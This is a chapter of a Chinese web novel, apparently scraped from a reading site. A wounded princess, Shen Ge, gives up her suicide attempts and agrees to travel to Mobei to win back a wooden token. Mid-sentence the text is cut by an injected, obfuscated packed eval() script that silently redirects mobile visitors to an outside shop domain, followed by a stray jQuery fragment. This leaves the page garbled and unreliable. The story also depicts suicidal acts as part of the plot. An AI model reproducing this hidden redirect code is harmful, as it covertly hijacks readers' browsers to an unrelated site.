文趣网 > 都市小说 > 嫁漠北 > 5. 于理不合
    “将军,您……”

    “无事。”

    此次行医只有一个,他心口发疼,但没有多管。

    原本只打算在这里待三天的,可光是一天,沈格就伤上加伤了,这还是因为,她只醒了这一次。

    先前那半床血,还是无意识时候的受伤。

    楚昱咬牙,只觉得一股莫名的气从头窜到尾,就连心口,都越发疼起来。

    她是用了多大的力,竟让他这自小习武之人都如此难忍。

    便是……抱了必死的决心。

    楚昱疑惑,至于吗?

    不就是个牌子?

    没见到之前也没见这人寻死觅活,怎么见到之后就成这样了?

    还两次都是因为那木牌子。

    他揉了揉心口,皱着眉,另从侧边的兜里掏了下,掏到后,摆在了身前。

    一块已经洗刷过,却完全洗不掉上面血色的木牌,安静躺在手心里。

    他跟着到了卧房,布胥在房里走来走去,给沈格处理着身上的细伤,光是一路走下去,脚上便多了几道口子,更别说徒手翻污桶,还有那不要命地一撞了。

    天呐,这还能活着。

    虽然人墙挡着,可这样的力道,便不是撞死的,也是脖子承受不住重击,折断而死啊!

    布胥心里凉凉的,又有些酸酸的,他也是为人父母的人了,这小女孩,看着就跟他女儿那么大,可瞧瞧这两天,这是遭了多少罪啊。

    吴婆子在一旁当助手,她表情木木的,布胥让她做什么,她就做什么,却全然没入脑。

    等布胥好不容易处理完,累得就要原地睡下时,她才定定神,目光落在了沈格脸上。

    沈格额头处又多了一处绷带,瞧着,也就越发孱弱苍白了。

    为什么呢?

    ……至于吗?

    有些人拼命想活着,却活不下来,徒留不大的女儿和刚出生的儿子苟活,自己撒手人寰。

    而有些人,却三番四次寻死,可……

    寻死的决心是那么强烈,那细弱的脖子,又怎能承得住那凶狠一撞呢?此番保得住命,想来也是老天不收,想让她好好活着?

    哦不对,她的寻死,只有这一遭罢了。

    吴婆子恍然想到前路茫茫,黄沙漫天,早已古井无波的心,荡了又荡。

    “婆子,将军吩咐,公主若醒了,一定要立马寻人去叫他,你守好公主,别再让她生事故。”

    吴婆子喏喏应是。

    那小兵看不见处,她悄悄撇了撇嘴。

    不想活的人,又怎么能劝得住……

    等等。

    好似“公主”寻死,是因为那什么木牌子?

    她确实是不知道木牌子去哪儿了,可按理说,牌子扔在了地上,不是屋里的人捡的,就是收拾屋子的人捡的啊。

    哪哪都没有,那能去哪儿?

    或许有了那木牌子,“公主”,就不想死了呢?

    能活着,作甚要死?

    屋内一片寂静,吴婆子却弯着腰,细细在不大的房间里探查起来。

    等沈格再醒,已经是第二天的下午了。

    她整整昏睡了一天,醒过来,感觉到胃部的灼痛时,她只觉得畅快。

    好似通过这样的自我折磨,就能挽回些什么似的。

    屋里仍然是那眼熟的婆子守着。

    沈格其实不知道她姓甚名谁,她没有意识的记忆里,一切就像默剧一样上演,她能知晓大概情节,却也不是全知全能。

    她已经全无力气了,甚至没有咬断舌头的力气。

    一想到自己需要慢慢等待恢复,恢复以后好快点去死,她莫名就想笑。

    视线边缘,那婆子不知道为什么抖了一下,再然后,彻底醒了过来,而醒来的第一件事,就是望向她这边。

    沈格什么也没做,睁着眼,明明是盯着什么的,却又好似只是在发呆。

    “公主?”

    吴婆子试探着叫了叫,见对方不理,只能一边盯着,一边后退挪去门边。

    她敲敲门,声音很轻:“公主醒了。”

    醒了,又不知是个什么场景。

    仿佛,昨天发生过同样的事。

    怎一个鸡飞狗跳了得。

    等待的时间总是漫长又煎熬的。

    吴婆子本应该心硬如铁,毕竟她活到这个岁数,什么大风大浪,也算是都见过了,寻常事,已难以让她分出心神去在意。

    但盯着仿佛失了三魂七魄的女孩,她还是忍不住,鬼使神差般开口:“公主,这人活着,想做什么,总能办成的。”

    “杀徐治也行吗?”

    “啊?”

    等吴婆子反应过来“徐治”是谁时,她已然不知道说些什么。

    是震惊吗,还是害怕。

    说真的,她其实也不怕死来着。

    什么皇权,什么天子,其实她要是豁出命去,那也不过就是一条命嘛。

    她早在老娘死了的那一刻,就丢了半条命了。

    剩下半条,也只是为幺弟而活,为自己…似乎没多少。

    屋外有了些动静,吴婆子回神,见沈格仍好好地躺在床上,她轻呼出口气。

    “吱~”

    屋门打开,屋内屋外,皆是一片寂静。

    “都出去。”

    吴婆子下意识皱眉,怎么可以?

    先前楚将军闯进公主房间,有那么多人一起在,那便也算了,如今竟还要遣所有人都出去?

    他自己个儿留下来??

    “将军,这于理不合。”

    吴婆子不知道自己是怎么了,只觉得面对这什么将军,好像也没了以前的害怕,说起这话,心中竟平静极了。

    沈格古井无波的眼神,动了动,没有人发现。

    楚昱倒是正经回头看了吴婆子一眼,居然还回了一句敷衍的话:“无事,出去。”

    吴婆子:“……”呵呵。

    仿佛在跟一头猪对话。

    她也无计可施,临走前,最后看了沈格一眼,见对方仍然那副样子,心里莫名酸酸的。

    门又“吱”的一声被拉上。

    楚昱特意看了看沈格,她没有一点反应。

    他倒没想做什么,只是沈格确实毫无反应,他又觉得不舒服。

    “沈格。”

    “沈格?”

    “沈格!”

    楚昱忽然叫了几声,没得到任何回应。

    他便掏出了一个物件,就放在躺着的沈格眼前。

    沈格两只手都被包了起来无法动弹,也

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17748336|209372||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    不知道她哪来的牛劲儿,头一抬嘴一张,就要去咬木牌。

    楚昱不免吓一跳。

    他飞快收回木牌,握在掌心。

    还没来得及说什么,就听沈格道:“还我。”

    “还你?这是和玉公主的遗物,如何就是你的了?”

    沈格并不辩解,只死死盯着木牌,她仍然浑身乏力,唯剩下一双还能动的眼。

    见她真就跟先前傻的时候一样毫无反应,仿佛昨天的模样只是昙花一现,楚昱不由皱眉,说不清的情绪在胸腔内鸣响。

    他想了想,以先前二人反应最大的漠北为说头,“乖乖去漠北,这个就,还、你。”

    他在“还”字上,着重了一下,却也没引得沈格有什么特别的反应,只听沈格毫不犹豫应答:“好。”

    得到了回答,楚昱并没有想象中高兴,他嗤笑一声,收起木牌后,又很明显发现沈格失去了情绪波动,没来由地一股火便在体内乱窜。

    他俯下身,想要让沈格的视线被自己占满,嘴上也不饶人:“倒不如先前呆傻的模样来得顺眼。”

    他又何尝想得起来,先前他只当运送了两个物件前往漠北呢。

    嗤。

    无趣。

    沈格一点反应没给他,任由他阴阳怪气。

    不过徐治身旁一条狗罢了,她连徐治都要杀,别说他了。

    没有木牌,她也会活下去的。

    但她会拿到木牌,然后再活下去。

    沈格想活了,身体有了感觉,才觉得浑身都在痛。

    头痛,额头上破了个口子。

    脖子痛,脖子差点断掉。

    手痛,手先是失血,再是刨垃圾堆。

    ……

    哪哪都痛。

    但布胥也确实是个不错的行医,他知道沈格会痛,便提前给她弄了点麻药,服用过后就是身上没有力气,感知也会大大减少。

    这玩意儿他还不敢多用,只能试探着用。

    可是沈格不显山不显水的,还不说话不沟通,他有时候也很难办啊。

    所以偶尔有一天,所有人都能瞧见沈格痛得仿佛水里捞出来的一样浑身冒冷汗,偶尔又有一天,沈格被麻得躺上许久。

    不知不觉间,大部队竟然在客栈待了有五日!

    早先传去边城的信,早已来了回信,后面还陆陆续续有了不少催促的信,楚昱一封一封看过,又一封一封烧掉。

    他目光沉沉,不知道在想些什么。

    第六日,大部队终于开始前行了。

    这几日里,楚昱从一开始的运筹帷幄,到后面总是沉默着不知道在想什么,再到如今,好似浑身充满戾气与暴躁,直到出发。

    搞得所有人都不敢惹他,也不知道他抽什么风。

    沈格坐的马车,现在也只有她一人了。

    马车的前前后后都有人守着,她早已没了逃走的想法,对此也没什么反应。

    只是觉得,这次好像出奇地慢。

    慢到,这已经是今天白天,第三次原地休息了。

    沈格望着远方,那黄沙漫天,已然能远远看到。

    前路茫茫,她其实没有把握,也不知道自己要怎么做才能报仇,但是做什么都好,怎么做都行,只要她活着,总能做成些什么。